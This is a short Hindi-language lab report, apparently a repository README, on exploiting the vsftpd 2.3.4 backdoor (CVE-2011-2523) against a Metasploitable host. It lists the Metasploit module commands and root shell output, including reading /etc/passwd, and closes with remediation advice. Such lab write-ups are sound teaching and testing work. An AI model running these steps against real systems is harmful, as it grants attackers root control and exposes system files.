💥 vsftpd 2.3.4 बैकडोर शोषण रिपोर्ट

vsftpd 2.3.4 में एक ज्ञात भेद्यता का Metasploit का उपयोग करके शोषण।

📌 लक्ष्य विवरण

• लक्ष्य IP: 192.168.150.133
• सेवा: FTP
• भेद्य संस्करण: vsftpd 2.3.4
• शोषण मॉड्यूल: exploit/unix/ftp/vsftpd_234_backdoor
• पेलोड: कमांड शेल (TCP)

🔍 भेद्यता सारांश

vsftpd 2.3.4 में एक दुर्भावनापूर्ण बैकडोर है जो एक विशेष रूप से तैयार उपयोगकर्ता नाम (:) में समाप्त) प्राप्त होने पर पोर्ट 6200 पर एक कमांड शेल खोलता है।

CVE: CVE-2011-2523

🚀 शोषण चरण

use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.150.133
run

💥 शेल एक्सेस प्राप्त:

whoami
> root

id
> uid=0(root) gid=0(root)

hostname
> metasploitable

uname -a
> Linux metasploitable 2.6.24-16-server #1 SMP ...

cat /etc/passwd
> root:x:0:0:root:/root:/bin/bash
  daemon:x:1:1:daemon:/usr/sbin:/bin/sh
  ...

🔐 प्रभाव

रूट शेल एक्सेस हमलावर को लक्ष्य प्रणाली पर पूर्ण नियंत्रण देता है — जिसमें विशेषाधिकार वृद्धि, पार्श्व गति, डेटा निष्कासन और स्थायी पहुँच शामिल है।

✅ अनुशंसा

• vsftpd 2.3.4 का उपयोग न करें।
• एक सुरक्षित, समर्थित संस्करण में अपग्रेड करें।
• FTP तक बाहरी पहुँच को प्रतिबंधित करें।
• पोर्ट 6200 पर संदिग्ध ट्रैफ़िक की निगरानी करें।

📄 रिपोर्ट

📝 इस रिपॉजिटरी में पूर्ण PDF रिपोर्ट उपलब्ध है: vsftpd-exploit-report.pdf

📚 संदर्भ

• Rapid7 मॉड्यूल जानकारी
• CVE-2011-2523 - NVD

👨‍💻 लेखक

🔥 द्वारा बनाया गया vedpakhare